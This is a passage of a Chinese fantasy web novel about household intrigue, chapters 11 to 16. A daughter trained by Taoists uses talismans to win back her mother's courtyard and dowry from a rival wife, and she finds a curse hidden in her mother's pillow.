镜堂,今儿你要是应了她,以后我和宝珠玉珠在这府还有一点颜面在嘛!”
殷镜堂捏紧了手心,黑着脸说,
“你以为我想?夫人,你不是没见过那个祸害的手段,也不知她到底学了些什么本事。
刚才我只看她那双眼睛,心里就忍不住往外冒凉气!
她要住这院子索性就让她住,我能有什么办法?”
想到殷琉璃的手段,王氏也忍不住打了个哆嗦,捂着脸哭哭啼啼起来,
“我不管,我不搬她还要杀了我不成?镜堂,你可要为我做主呀!
我心里这口气咽不下去,难不成就真没法子了吗?”
殷镜堂不耐烦的摆摆手,
“但凡能拿得住那个祸害,我还能让你搬出去?
好歹等把她打发出去,咱再想法子也不迟。
你赶紧叫人收拾东西,他们今晚就要住进来。”
“什么,今晚?天打雷劈,她这是要活活逼死我呀!”
王氏勃然大怒,越想越气,索性一头往殷镜堂怀里撞去撒泼。
第11章 娘,先听我给你讲个故事
“啊呀,你与我闹有什么用?”
殷镜堂被她闹的没法,沉下脸道,
“你若顶得住就别走,横竖我是怕了那祸害了!夫人,小不忍则乱大谋,你听我一句劝,还是耐下性子等几日,她出去了咱们再做打算。”
王氏一脸愤然,扯着他的袖子不依不饶的哭闹,
“我在这府里辛辛苦苦管了十几年,如今你让我忍那个**母女,凭什么!
实话告诉你,这院子我是绝不搬的,有本事就让她弄死我!””
“娘说的对,我们不搬,看她能怎样!光天化日她还真敢弄死我们不成?”
殷宝珠在外听了半晌,气的闯进来说,
“爹!那院儿的都骑到我娘头上了,这次若是怕了她们,以后让我娘在府里还如何立足?”
殷镜堂听的一个头两个大。
他也知道这母女俩难劝,起身黑着脸说,
“你俩都吃过她的亏,还不知死活吗?我是管不了了,横竖你们自己看着办吧。”
“啪”
他一出去,屋里的茶碗就摔在地上。
王氏咬牙切齿的咒骂,
“殷镜堂,你这个没良心的,你是要眼睁睁看着我被那**母女逼死嘛!”
……
这边儿院子,几个新来使唤的仆妇忙着收拾包袱。
金嬷嬷从外面回来,神色有些忐忑的说,
“老奴听说凤栖梧那边又哭又闹的不肯走,砸了东西不说,连老爷都给骂出来了呢!
大姑娘,铺盖要不要晚些收拾,今日咱还搬得过去吗?
刚才宝姑娘把府里的家丁全都叫过去守着了……”
殷琉璃抬了抬手指,“嬷嬷尽管去收拾,这凤栖梧我住定了。”
“琉璃。”
甄氏心里一紧,白净柔美的脸上闪过一抹怯懦,
“其实娘只想要回你外公外婆给我的嫁妆,不是非要回凤栖梧,要不……要不就算了吧。
王氏管了内宅十几年,整个府里都是她的人,娘怕闹起来你会吃亏……”
殷琉璃冷笑一声,
“娘,先听我给你讲一个故事……
当年师父带我和师兄们下山,用手捡碎石,拿锄头一点一点刨出来一块荒地,自种些粮食菜蔬。
附近村里有家农户的田离得近,时常去我们田里偷些,师父懒得下山与他们计较。
一天农户觉得我们玄清观的人好欺负,带着兄弟七八个去铲了我们的菜霸占了那块田。
师父抄家伙把那群人全都干翻,他们这才乖乖的赔了我们的菜,以后再去,连踩都不敢往那块田里踩上一脚。
师父说,在这世上对欺负你的人仁慈,就是对自己残忍。你退一步,别人就进一尺,你忍一时,别人越变本加厉。”
甄氏揪心的屏住了一口呼吸。
殷琉璃明亮的眸子里闪过一抹凛冽,侧眸看着甄氏,
“娘,你在这府里忍气吞声了十几年,自己看看到如今落得个什么境况?”
甄氏柔顺的脸上不觉一白。
“大姑娘说的对!”
金嬷嬷擦着眼角,愤愤的说,
“夫人,你就听大姑娘的吧,如今有大姑娘替你做主,咱还怕个谁?”
甄氏点了点头,抬手摸了摸殷琉璃的脸颊,哽咽的说,
“娘听!娘以后什么听琉璃的……”
殷琉璃握住她的手,柔声说,
“娘不要担心,琉璃自有主张。”
这时仆妇们拎着三五个包袱出来说话,
“夫人,屋里的东西都收拾利落了。”
看着那几个简陋的包袱,殷琉璃心里不觉一酸,起身道,
“去凤栖梧!”
……
凤栖梧。
一排手持棍棒的家丁,气势汹汹护着院子。
殷琉璃扶着甄氏站在门前,身后只跟着一个金嬷嬷。
那两个拎包袱的仆妇瞧见这架势早躲的远远的,生怕一会儿闹起来伤着自己。
“大、大姑娘,他们这么多人,你一个人行不行呀?”
金嬷嬷也没见过这种场面,紧张的手心里直冒汗。
甄氏抿着唇,紧紧捏着女儿的衣角,
“琉璃,你、你千万要小心……”
一个管家模样的人从后面出来,打量了母女俩一眼,脸上露出一抹假笑,
“小人见过大小姐。小人姓张,是这院里的管事儿,不
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知大小姐前来我们夫人的院子有何事?”
殷琉璃淡淡挑眉,
“去通传你家夫人小姐,今晚我和我母亲要住这院子,让他们收拾快着些。”
管家假模假样的惊讶了一下,
“大小姐莫不是说笑了?凤栖梧一直是我们夫人居住的院子,什么时候成甄夫人和大小姐的了?”
“明知故问。”
殷琉璃脸上闪过一抹不耐,抬手在掌心画了几下,一道灵符从指尖闪过飞向管家,“掌嘴。”
“啪”
管家抬手就给了自己一巴掌,旋即愕然的看着自己的手。
火辣辣的脸颊告诉他不是在做梦,
殷琉璃皱了皱眉头,“让你停了吗?”
“啪……啪……啪……”
管家抬手又给了自己一下,巴掌一个接一个使劲儿往自己脸上招呼。
他使出吃奶的劲儿也按不住这只手,急的大叫,
“诶?诶……这是怎么回事!”
家丁们你看我我看你,全都懵了。
“嘎吱……”
院门打开,殷宝珠脸色铁青的从里面出来,“殷琉璃,你到底想要干什么!”
殷琉璃鼻子里哼了一声,
“不干什么,你跟你娘搬出去,我和我娘住进去。”
“你休想!”
殷宝珠恶狠狠的说,“别以为你会使些邪术就能在我面前作威作福,你要是敢再往前一步,我一定会让你好看!
来人,夫人吩咐,不管是谁敢踏进凤栖梧一步,就给我往死里打!”
家丁们齐刷刷的举起了手里的棍棒,
“是!”
殷琉璃款步走到了众人跟前,冷冷一笑,
“是吗?我看谁敢。”
那双明亮的眸子寒光一闪,竟似锋刃划过。
家丁们只觉后脖子蹿起一道凉气,心里不由自主打了个冷颤,手里举起的棍棒说什么也落不下来了。
“打!你们给我打呀!”
殷宝珠气恼的指着家丁大叫,“打**重重有赏!”
“说的对,打**重重有赏。”
殷琉璃纤细的手指在空中画了画,指尖一道灵光射出,口中一喝,“去。”
第12章 你不敢?那我替你烧!
“打!打!”
家丁们好像中了邪似的,突然齐刷刷的转身,对着殷宝珠没头没脑的打了过去。
“**……”
“住手!你们打**什么?去给我打她呀!”
殷宝珠根本没防备,硬是挨了好几棒子才被身边的丫鬟从棍棒下扯了出来,尖叫着抱头鼠窜,
“来人!救命、救命啊……”
“咣当”
院门重重的关上,被“牵空术”控制的家丁还在举着棍棒拼命砸门,口中喃喃的念叨着,“打!打……”
场面如同丧尸围城,诡异到了极点。
“救命啊!……”
里面的人拼命顶着大门,惊恐的尖叫声不绝于耳,
“住手!住手……”
殷镜堂急匆匆的赶来,看到这诡异的一幕心里顿时凉了半截,待要发怒又不敢,只好咬着牙上前陪笑,
“琉璃,快叫他们住手,有什么话好好说嘛……”
“殷宝珠早就安排了家丁想要打死我,她跟我好好说话了吗?”
殷琉璃冷哼一声,“打**重重有赏……这可是她自己说的。”
“是,是……是你妹妹不对,爹、爹回头一定好好教训她。”
殷镜堂颤巍巍的说,“琉璃,你先叫他们住手,真要伤了人命可不好了!有什么事情爹替你做主。”
殷琉璃凌空对家丁们画了几下,棍棒声顿时停下。
她冷笑的眸子缓缓扫过殷镜堂,
“你真能替我做主?”
“对对,爹替你做主。”
殷镜堂擦着脸颊的冷汗,小心翼翼的说,
“只是你妹妹他们到底在这院子里住了十几年,一时间想不通是有的,给爹点儿时间,爹一定让他们尽快搬出去……”
殷琉璃挑了挑眉,“没时间。这凤栖梧今晚我们是住定了!”
殷镜堂顿时吸了一口冷气,对院门喝道,
“宝珠,开门!”
“爹,她要打死我霸占这院子,你竟还帮着她?”
殷宝珠被打的鼻青脸肿,心头一震怒火攻心,咬牙道,
“殷琉璃,你不是想占这院子吗?你休想!我就是一把火把这儿烧了,也不会让你得意!”
殷琉璃不由笑了一声,
“是吗?你要把这儿烧了?你敢吗?”
殷宝珠狠狠道,“你、你别以为我不敢……”
话音未落,殷琉璃抬手在掌心画了一道“雷火符”,扬向天空,
“你不敢,那我替你烧!”
“咔嚓”
白日闪过一道雷光。
一只硕大的火球突然从天而降,带着熊熊的火焰径直砸向院子。
火球落在一棵树上,火焰瞬间点着了树冠,大火熊熊燃烧起来。
院内乱成一团。
丫鬟仆妇们吓得尖叫四窜,
“着火啦!着……着火啦!”
“来人呐,快来救火呀……”
“来人啊!夫人听见着火,吓晕过去了……”
……
殷镜堂脸惊的都绿了,“琉璃,你、你还真敢烧呀……”
殷琉璃气定神闲的看着他,
“侯爷可听见了,是她自己说一把火把这儿烧了,我不过帮她一把而已。”
这丫头心怎么格外的狠?
殷镜堂一口气堵在喉咙里,上上不去下下不来,只能急的连骂带喝,
“都还愣着干什么,快去救火!”
解开牵控符的家丁们这才反应过来,没头没脑的往院子里跑去救火。
好容易扑灭了被雷火引燃的大树,空气中弥漫着烧焦的气味儿,地上凌乱不堪,人人灰头土脸,心里一个劲儿的后怕。
看殷琉璃的眼神都带上了一丝恐惧。
这位大姑娘下手可真够狠的!
殷镜堂寻了个空子,把殷宝珠拉到一旁咬牙切齿的训斥,
“我怎么劝你们的,就是不听!如今好了,差点儿叫她把这院子烧了!
别在闹了,去叫你娘把院子腾出来!”
殷宝珠哭天抹泪的说,
“爹,我心里堵着一口恶气出不来!她一回来就抢这个抢那个,我和娘以后还有立足之地嘛?”
殷镜堂深深的叹了口气,“爹知道。宝珠,这几个孩子里爹最疼爱的就是你,怎么会忍心让你吃亏呢?
可咱们眼下拿她根本没法子!好歹先忍下,等她出了门子再做打算。”
殷宝珠胸口不停的起伏,狠狠咬住下唇,半晌才委屈巴巴的点了点头,
“我听爹的。”
……
“嘎吱……”
凤栖梧的
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院门彻底打开。
家丁们顶着满脸的烟灰,把屋里的东西一件一件往外抬。
金嬷嬷脸上的皱纹都舒展开了,叫人抬了两把太师椅来,放在廊下凉快的地方请甄氏和殷琉璃坐下看着他们搬东西。
又赶着要了两盏茶端来,两眼含着泪光,哽咽着叹息,
“夫人,咱们从这儿搬出去快十几年,总算又回来了!
不知老太爷和老妇人留给夫人的那些家具,如今还好不好?
那些可都是当年,老爷夫人天天盯着工匠给你做出来的……”
甄氏心头一刺,别过头去,早已满脸泪水。
原她心里还担心女儿一个,对付不了殷宝珠叫来的一众家丁,没成想女儿没费吹灰之力就把院子收回来了。
更没想到她下手这么狠,殷宝珠就是嘴硬说要烧院子,她可真敢烧!
“嬷嬷,这院子里伺候过的下人都撵出去,一应使唤的都换成新的。”
殷琉璃啜了口茶,淡淡吩咐,“新人从外面现买,把底细打听干净了,带到我跟前给我挑。”
“是,大姑娘,交给老奴来办。”
金嬷嬷喜不自胜道,“就是大姑娘不吩咐,老奴心里也有这想法,这院里的人断是不能再用的。”
殷琉璃点点头,刚要说什么,眼角余光忽然瞥见甄氏的眸子颤抖了一下,一双纤细的手在太师椅扶手上握紧。
“怎么了娘?”
她顺着甄氏的目光望去,只见几个家丁抬着一只斗柜正往外出来。
那只斗柜造型古朴精巧,表面温润如玉,纹理清晰深沉,黑漆描金,柜面上以金粉勾勒出花鸟鱼虫各色吉祥图案,说不出的华贵精致。
家丁搬动时偶然在地面上顿了一下,发出深沉如钟磕碰声。
就是不懂木料家具的,也能看得出这是上等的好物件!
“小心……”
甄氏赫然站了起来,温顺的脸上闪过一抹心疼,口中急急的轻喃,“那是小叶紫檀做的……”
“你们手脚放轻着些!”
王氏屋里钻出一个嬷嬷来,沉着脸呵斥道,“这屋里的家具可都是夫人最心爱的物件,知不知道值多少银子?磕碰坏了你们赔得起嘛!”
甄氏脸上表情一滞,
第13章 把心气提起来
想要说什么,又生生咽住。
嬷嬷一手叉腰,还在颐指气使的呵斥,
“那几个抬圆角柜的,粗手笨脚是不是想讨打?当心我回了夫人赏你们一顿棍子,你们才知道厉害!
我们夫人屋里的东西件件都是精品,如今就是花银子去买都买不着这么好的。”
家丁们紧了紧面皮,“是。”
甄氏手心紧紧捏着,泛红的眸子紧追着从屋里抬出来的家具。
那个嬷嬷说的是实话,家具的木料都是她爹精心收藏的老木料,历久弥新,市面上再是难寻的。
工匠师父也是花大价钱请来的老师傅,手艺自然没得说。
她这些陪嫁别说放在凤栖梧,就是放在茅草房里都能把茅草房装点的富丽堂皇。
当初王氏看见她的这些陪嫁就两眼放光,这一占就占了十几年。
“嬷嬷?”
殷琉璃跟金嬷嬷对了个眼色,心里已然明白这些都是娘的嫁妆。
殷琉璃冷眼看着娘的反应。
家丁抬着斗柜过来,甄氏身子倾了倾,唇角止不住的颤抖。
金嬷嬷在一旁着急的催她,
“夫人,那是您的东西,您倒是说话呀!”
甄氏面色泛白,艰难的张了张嘴,“我……”
在王氏欺压下逆来顺受了十几年,她只觉喉咙里却像堵着块东西似的,怎么也发不出声音。
金嬷嬷又气又心疼,吸着气说,
“再不拦着可就抬出去了……大姑娘,您倒是说句话呀!”
“我娘的东西,让我娘自己发话。”
殷琉璃冷眼看着甄氏的反应,声线坚定的道,“不迈过自己这道坎,我就是把东西帮她要回来,她以后也留不住!”
她是要护娘一辈子。
就算万一过不了天劫被雷劈成了渣,她也会在娘身边安个**保她一世平安。
可娘自己不把自己的心气提起来,以后不一样会活得那么卑微?
甄氏身子狠狠一颤,如醍醐灌顶。
“琉璃……”
她含泪的眸子里忽然爬上了几缕血丝,微颤着声线道,“是娘没用,娘……是不是让你失望了?”
殷琉璃轻轻握住了她的手,那双清亮的眼睛里带着一抹坚定的鼓舞,
“没有,琉璃知道以前娘受了很多苦,以后娘只要记住一句话,琉璃永远是娘的后盾。”
两行清泪从甄氏脸颊滚落。
是呀,她如今是有靠山的人!
她自己再不硬气起来,岂不辜负了给她撑腰的女儿?
“请夫人往旁边让让,小心碰着。”
家丁们抬着斗柜从甄氏面前经过。
金嬷嬷暗暗吸了口气,心里直替她捏了一把汗。
“站住。”
甄氏抬起了头,脸色坚定的说,“把东西给我抬回去。”
家丁们面面相觑,
“什么?”
“夫人,这是什么意思?”
……
“我说,把我的东西抬回去。”
甄氏泛白的脸上仿佛蒙上了一层光芒,声线也不再颤抖,“凤栖梧一应家具都是我的嫁妆,没有我的允许,任何人不能动它们!”
被欺压了这么多年,还是头一次看见自家夫人这么硬气,金嬷嬷高兴的双手合十拜天拜地,
“阿弥陀佛,阿弥陀佛……这可好了!”
“甄夫人,这、这不好吧?”
一个家丁忙上前说,“是王夫人让小人们把东西抬出来的,如今您又说要抬回去,好叫小的们为难。”
甄氏声线清冷道,
“你们不必为难,只管按我说的话做便是,有什么让她来跟我说。”
家丁们你看我我看你,一时间也不知道该咋办。
“怎么,甄夫人说话不管用是吗?”
金嬷嬷站在甄氏身旁,理直气壮的训斥,“一个个眼里没规矩的,你们怕王夫人赏的棍子,就不怕我们家夫人赏的棍子了?”
“不不,小的知错,小的这就把东西送回去。”
家丁们赶紧应承了一声,无奈的抬着斗柜往回走。
“全都给我站住!”
身后传来王氏尖锐的声音。
她一手扶着嬷嬷从屋里出来,直直的走到甄氏跟前,脸上带着一抹不善,
“姐姐这是什么意思!你逼着我把这院子让给你还嫌不够,连我的东西都不让带走?
姐姐这是要逼死我才肯甘休吗!”
甄氏望着她狠毒的眼神再没有以前躲闪,脸色平静的说,
“这些东西是我的嫁妆,并不是你的。”
“
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笑话,你的嫁妆?那你以前怎么不说?”
王氏鄙夷的道,“我用这屋子里的东西用了十几年,如今你说是你的就是你的,这是什么道理!”
甄氏冷冷反驳,
“若说道理,当年我只是受了风寒,你买通大夫说我染了时疫逼我挪出去,霸占了我的嫁妆十几年,这又是什么道理?”
当年打碎了门牙往肚子里咽,如今不同了,她再不能叫谁欺负了她!
“什么叫买通大夫?你有证据吗,没有可别乱诬陷我!”
王氏不屑的瞥了她一眼,阴阳怪气的说,
“当年你搬出去养病,可是老爷叫我住进这院子的,东西也都是老爷亲口允诺给了我,你有本事问老爷要去?”
甄氏抿了抿唇,“嫁妆是我的,他凭什么给你……”
王氏看她语塞,越发咄咄逼人的尖声道,
“如今把我逼走就罢了,还想扣下我的东西,姐姐,是不是欺人太甚了?
你是想逼死我们母女,好一个人占了这侯府去吧!”
甄氏有些急,可一时间又不知要怎么反驳,声音里还带上了一丝哭腔,
“我没有欺负你,这明明就是……”
她根本不会跟人吵架。
有时候越是与人说的急了,脑袋里越是一片空白不知道该说些什么,往往话还没说呢眼泪就先掉下来了。
事后再有满肚子反驳的话,也无济于事。
“大昶律例,女子出嫁一应妆奁田产不入夫家,为出嫁女私人财产,夫不得私获妻产,妻家所得之财,亦不在分限。”
正急之时,殷琉璃清脆的声音缓缓从甄氏身后响起,“王夫人也是出嫁之女,不会不知道这条律例吧?
你霸占十几年之久,如今我娘讨要还不肯归还,我娘现在去衙门告你们与殷镜堂联手设局侵占嫁妆,怕也是一告一个准的。”
“对对,就是这么说!”
哇呀呀早就在她耳朵边儿上,把这条律法一字不落的告诉给她听。
王氏心里顿时咯噔一下,硬着头皮道,
“什么律法……就算是,谁知道这些家具就是**,又哪个是你娘陪嫁的?
说不定是老爷这些年看我管家辛苦,命人一样一样打造下来给我呢。”
第14章 拿得起来,我白送
“不愧是掌管了内宅十几年,好狡辩!
只可惜议婚时交换的草帖、定帖上,妻家所赠奁田、奁币、奁具等随嫁妆奁都明确在记。”
殷琉璃冷笑一声,冲金嬷嬷勾了勾手指,
“金嬷嬷,把我娘出嫁时的定帖取来,给她瞧瞧。”
“是!”
金嬷嬷早就从包袱里抱出个锦盒,打开抓起一张定帖走到王氏面前,“王夫人自己瞧,大不了咱按着定贴上记的一样一样过。”
“谁要看这个!”
王氏把她手里的帖子一推,倨傲的哼了一声,“横竖这些物件是老爷给我的,我要定了!
甄氏,你有什么话去跟老爷说去,来人,把东西给我搬走!”
这一套家具用料上乘贵重,打造的又是一等一的精致考究,一到晚上还能闻到木料中散发出若有若无的檀木香气。
她用了十来年说不出的顺手,喜欢。
上次宴请国公府夫人时,人家就夸她这套家具着实难得,至少都是几十上百年的老木料做的,如今就是三五千银子也未必能买得到这么好的东西。
她怎么肯轻易让甄氏那个**拿回去!
“是。”
几个家丁只要又搬起沉重的斗柜,一步一步往外挪。
殷琉璃唇边勾起一抹冷笑,抬手在掌心画了一张“千斤坠”,灵光一闪飞了出去。
“咕咚”
一声闷响,斗柜仿佛突然间重了千斤,从家丁手里落下。
几人的手臂坠的又麻又痛,你看我我看你,谁都不知道是怎么回事。
殷琉璃习惯性吹了吹指尖,鼻子里淡淡哼了一声,
“王夫人不是想要我娘的嫁妆吗,看你本事,拿得起来我替我娘白送你!”
王氏头皮一麻,不由自主的往嬷嬷身后挪了挪,
“你、你又用了什么邪术!”
“可邪可邪的邪术呢,要不要再试试?”
殷琉璃轻笑,明亮的眸中一抹狠戾闪过,
“谁敢再把爪子放上去,就叫他皮开肉绽!”
小**!
王氏铁青着脸说,
“别以为你会什么邪术就能任意妄为!学这些见不得人的东西,让人知道简直丢尽我侯府的脸面!
不过是些我用过的破柜子,不要也罢!”
身旁的嬷嬷忙说,“夫人,您好些贵重的金银细软都在里面没拿呢。”
王氏斜眼看着殷琉璃,“你们不会连我的东西也要拿吧!”
“我们只要我们自己的东西。金嬷嬷,看着他们拿,别把我娘的嫁妆划伤了。”
殷琉璃抬手在斗柜上凌空画了几道,轻呵一声,“解!”
“是,大姑娘!”
金嬷嬷一脸解气的上前,撇嘴说,“我们夫人的嫁妆全都是矜贵东西,才不稀罕要旁人那些不值钱的!”
王氏脸色一恼,“你个老货,连你也敢奚落本夫人?
真是狗仗人势啊,主子得意,连下人都明目张胆的把我这个夫人不放在眼里了!”
她本就堵的哑口无言,这下把一肚子火气发到金嬷嬷身上,恶狠狠道,
“来人,先给我把这多嘴没规矩的老货拖出去,赏五十棍子!”
“老奴并不敢。”
有厉害的小主子在侧,金嬷嬷才不怕她,理直气壮的回道,
“王夫人这赏恕老奴不敢领受,就是赏棍子,也要凭着府里的规矩不是?
老奴听的是自家主子吩咐,说的是实情实理,哪里就多嘴没规矩了?”
王氏气的脸都绿了。
被殷琉璃母女俩怼的一肚子火本来想找个软柿子捏,没成想被软柿子糊了一脸。
她恼羞成怒,抬手狠狠给了金嬷嬷一个耳光,
“混账!本夫人奉侯爷之命掌管侯府内宅,你个卑贱的下人也敢不把本夫人放在眼里?”
金嬷嬷被打了个趔趄,险些跌倒。
“嬷嬷!”
甄氏惊呼一声,忙搀扶住她。
王氏恼火的大叫,“来人!还不来人,把她给我拖……”
“啪”
一个响亮的耳光响起,王氏的声音戛然而止。
她抬手摸了摸火辣辣的脸颊,不可思议的看着甄氏,
“**,你敢打我?”
别说她满脸吃惊,连金嬷嬷都满脸震惊。
甄氏原本温顺的一双眸子里闪过狰狞,声线更是说不
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出的冷冽,
“我为什么不敢!你欺我这么多年我都忍了,嬷嬷从我十二岁就伴在我身边,一饮一食无不贴心照顾,就如同我半个母亲!
你打金嬷嬷就是挖我的心,我恨不能与你拼命!”
空气瞬间一静。
殷琉璃眯了眯眸子,唇边勾起一抹笑意。
心里暗暗给她娘点了个赞。
“夫人……”
金嬷嬷早已泪流满面。
“打我?反了,真是反了!”
王氏捂着火辣辣的脸,疯了似的尖叫,“给我叫老爷过来评评理!我好歹也是老爷的正妻,侯府的主母,你这**竟敢打我……”
甄氏抬起了下巴,冷然道,
“去,你尽管去叫!别忘了我才是殷镜堂明媒正娶的正妻!
而你,不过是比我低了半分的平妻,我先你后,我高你低,怎么,我打不得你吗?”
王氏狠狠一颤。
“以前是我没用,你们人人都敢欺负我。但从今以后,我若是再让谁欺负去了半分,便不用在这世上做人了!”
甄氏冷笑着步步上前。
她身上涌出一股从未有过的气势,逼着王氏不由自主向后挪步。
王氏心里压抑不住的发颤,硬着头皮叫道,
“老爷呢?我要让老爷给我评评理,你们怎么还不去请老爷来……”
管家小心翼翼的上前说话,
“回夫人的话,整个府都找不到老爷,说是有事出去了。
对了,老爷叫人留下话说,让夫人安生些,别闹的不像样子。”
王氏头上滚过一道雷,目瞪口呆。
该他殷镜堂这个夫君给自己撑腰的时候,他竟然出去躲清静了!
她恍惚想起当年甄氏思念女儿太甚,几次三番去求他,他也躲着不见。
如今他把这手段又用到自己身上?
“娘……”
殷玉珠从院外急匆匆进来,看这情形也明白了什么,忙给王氏使眼色,
“不必与他们多费口舌,女儿扶娘回去歇着。”
她刚才出去做了一件要紧的事儿。
这事儿要是成了,看她殷琉璃还能嚣张得意到什么时候!
第15章 重拾自信
王氏会意,顺势软软的靠在她身上掩面而泣,
“玉珠,你看看他们把你娘欺负成什么样子啊……”
“娘,人家要抢,就让他们抢去,谁让咱们没法子呢!”
殷玉珠阴狠的眼神扫过殷琉璃,用口型无声冷笑,“你给我等着!”
殷琉璃淡然轻笑,转身扶着甄氏,
“听了一通狗叫娘也累了,我扶您回房歇着。”
殷玉珠脸色一沉。
**,本小姐不与你呈口舌之快,等着看你大难临头的时候!
刚才那么热闹的场面殷玉珠都没出来露头,怕不是私底下跑去哪儿,要做些什么手脚了。
她动用心念命道,“哇呀呀,去查。”
哇呀呀瞬间出现她耳畔,抬手抱了抱拳,“末将得令!”
一个闪身便消失不见。
甄氏眼眶泛红,看着房中精致的家具默默发怔。
这么多年了,她没敢想还能有夺回嫁妆的一天。
光是眼前这张红木子孙床,又叫千工拔步床,就耗费千资做了三年。
其形如一栋私密的小房子,上有卷蓬顶,下有踏步阶,前后雕梁画栋,贵气逼人。
上床前还要迈上一步才能踏到床边,两旁安置着妆台柜子,方便使用。
虽说只有两进,却也是大户人家陪送嫁妆中难得的一样。
“琉璃,你……你还记得吗?”
甄氏忍不住抬手轻抚,眼睛里早已含满了热泪,“你小时候日日伴着娘入睡,就是在这张床上。”
殷琉璃摇了摇头,轻声道,“琉璃以后日日都要伴着娘睡。”
甄氏不觉潸然泪下。
她何尝不想女儿日日陪在身边,可不几日她就要嫁了。
殷琉璃轻轻靠着娘的身子,小时候的印象在脑海中早已模糊。
她只依稀记得那个被自己叫做爹的人,硬生生把她从娘的怀里扯开,任凭她怎么哭闹都不管用。
之后就被塞进了冰冷的马车里,不知颠簸了多久,再睁开眼睛时她已经在山中一座破落的道观里,眼前是一张张温和陌生的脸。
那时她才3岁,日日哭闹着要娘。
师父只好把太极拂尘一丢,拿了供桌上的点心把她抱在腿上哄。
小师兄们都是师父云游时捡回来的孩子。
一群半大小子特别稀罕这个粉妆玉砌般的小女娃娃,带她漫山遍野跑着玩,编草帽,采野花,撵兔子……
累了就把她背在身上,渴了给她摘酸甜的野果子吃,晚上又抢着读娘寄来的信,陪她入睡。
七岁之前,她把五个师兄“睡”了个遍。
“老奴先从杂役房里挑了几个利索的来,在院儿里做做粗活儿,身边伺候的只等明日就来。”
金嬷嬷进来道,“请夫人和大姑娘过过眼。”
殷琉璃牵过甄氏的手,笑嘻嘻的说,“娘,咱瞧瞧去。”
步出房门,院子里早已被打扫干净。
青石板铺就的地上连个落叶都不见。
一众仆妇着干净整齐的仆服,垂目敛声,恭敬的站在屋前,等人从屋里出来,齐整整的行礼,
“奴婢们见过夫人,见过大小姐。”
甄氏脸上闪过一抹恍惚,怔了良久。
这十几年,她那个冷宫似的后院只有两个粗使的仆妇,干活儿懒散不说,时常扯着粗大的嗓门抱怨这抱怨那。
她要常常给些大钱儿让她们买酒吃,日子才能清净些。
如今这才是一派侯门主母院子里该有的样子。
殷琉璃笑吟吟的唤她,“娘,等你说话呢。”
甄氏轻轻吸了口气,娇美的脸上露出一抹温和却不失威严的笑意,
“都起来吧。以后在这院儿里各位要恪守本分,按我的规矩做事,听金嬷嬷的安排,有功者赏,有错必罚。
我素日喜欢安静,若有无端吵闹闲话,偷奸耍滑者,一概赏了棍子撵出去。”
作为这个院子的主子,她须得给下人们定规矩,立主母的威严。
“奴婢们谨记。”
仆妇们齐齐的应了一声,各自散了去干活儿。
金嬷嬷偷偷擦了下湿润的眼角,轻声叹息,
“这么多年了,老奴没想到还能看见夫人重活一回的样子……”
看见娘重拾自信,殷琉璃心里也是一轻。
日后就算她没办法陪在娘身边,娘轻
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易也不会再叫人欺负了去。
……
晚上用了饭,金嬷嬷命人备下热水,殷琉璃舒舒服服的洗了个澡。
“哇呀呀……”
哇呀呀一个闪身出现在殷琉璃耳边,张牙舞爪的大叫,“主人,末将回来了!”
殷琉璃微微敛眉,用心念道,“怎么去了这么久?查出什么了?”
“哇呀呀……这般!那样!”
哇呀呀扑在殷琉璃耳边叽里哇啦说了一通,满脸愤然,“你说狠毒不狠毒?哼!”
殷琉璃挠了挠耳朵,嗤声轻笑,“还以为什么,就这?”
哇呀呀挥舞着长刀恼火道,
“哇呀呀……先下手为强,主人,让末将去弄死他们算了!”
他模样本就粗犷张狂,这么一叫越发显得面目狰狞。
也就是殷琉璃,若是个寻常人家的小姐,看见他这副样子先要吓晕过去。
殷琉璃白了他一眼,
“你少作死!上一世征战沙场不知背了多少条人命,手上再敢染血,估计连我师父都超度不了你!”
哇呀呀鼓着腮帮子不服,“那就眼睁睁看着他们害咱们?”
“雕虫小技,我自有主张。”
殷琉璃眸中划过一抹慑人的寒意,抬起纤细的手指将它收入耳中,起身披上衣裳回房。
“琉璃,快过来,让娘给你梳妆。”
甄氏早眼巴巴的等着她。
等她坐在梳妆台前,手里的木梳从她黝黑浓密的头发中穿过,又抑制不住的微颤。
这一幕她不知道盼了多少年,竟感觉跟做梦似的不真实。
金嬷嬷抱着个长长的枕头进来,看到这一幕也笑吟吟的说,
“夫人日日念着大姑娘,如今总算得偿所愿。”
殷琉璃瞥见她手里抱着个很是陈旧的长枕,外面似乎还套着一层什么,随口问,“嬷嬷拿的是什么?”
“哦,这是夫人晚上用的抱枕,我见沾了些灰尘就拿出去拍拍。”
金嬷嬷叹气说,“这十来年,夫人夜夜把她当你抱在怀里……”
一缕若有若无的黑气从长枕上逸出,殷琉璃脸色一沉,
“拿来我瞧!”
第16章 魇术
“怎么了大姑娘?”
看她脸色不对,金嬷嬷心里不由咯噔了一下,赶紧把枕头递过去。
殷琉璃伸手接住,动心念在指尖灌注一道灵气,往枕头上探了探。
微刺感从指尖传来,枕头里果然被下了东西。
她在掌心画了一道灵符,反手拍了上去。
符光闪过,黑气如疾风吹雾,瞬间消散,那种蚂蚁乱爬的微刺感也消失殆尽。
殷琉璃皱了皱眉,“娘,你晚上入睡都要抱着这个吗?”
“是……”
甄氏眼眶一红,轻声说,
“这是你小时挡在身侧的枕头,你时常抱着玩耍,你走了之后娘就……娘就搂着它入睡,就像搂着你一样。”
金嬷嬷心酸的说,“大姑娘你瞧那上面就知道了。”
殷琉璃这才注意到长枕头上套着一件泛黄的小衣裳,衣裳已经磨损严重。
鼻子不由一酸。
不能想象这些年,娘抱着它度过了多少难熬的夜晚。
她本想拆开查验,听娘这么一说就有点儿不忍了,便轻声问道,
“娘抱着它,是否时常睡的不安,心悸气短精神不济?”
甄氏惊讶的点了点头,“是……这些年我时常会做噩梦,梦见厉鬼张牙舞爪向我扑来。
琉璃,这枕头有什么不对吗?”
“夫人晚上睡着确实不安,时常惊叫一声惊醒,一出就是一身冷汗。
找大夫瞧了说是忧思过甚伤了肝脾,五脏不调,吃上一阵子药能好些,不吃就又犯。”
金嬷嬷紧张的攥着衣角,小心翼翼的问,“大姑娘,这枕头是不是有问题?”
殷琉璃清冷的眸中闪过一抹凛冽,
“被人下了魇。”
“什么、什么魇?”
甄氏心头一阵恶寒,满脸惊恐。
金嬷嬷只觉得自己的头发根儿都竖起来了。
“魇术,以**骨、血或尸油为媒,以咒为禁,将一缕阴魂困在符中。
活人接触便会因噩梦寤寐不安,头痛无力、神思倦怠。”
殷琉璃眉头像是凝了一层寒霜,缓缓道,“日子久了人就会魂不守舍,魄散神驰,就是折磨不死,迟早也变成痴傻之人……手段不高却相当恶毒!”
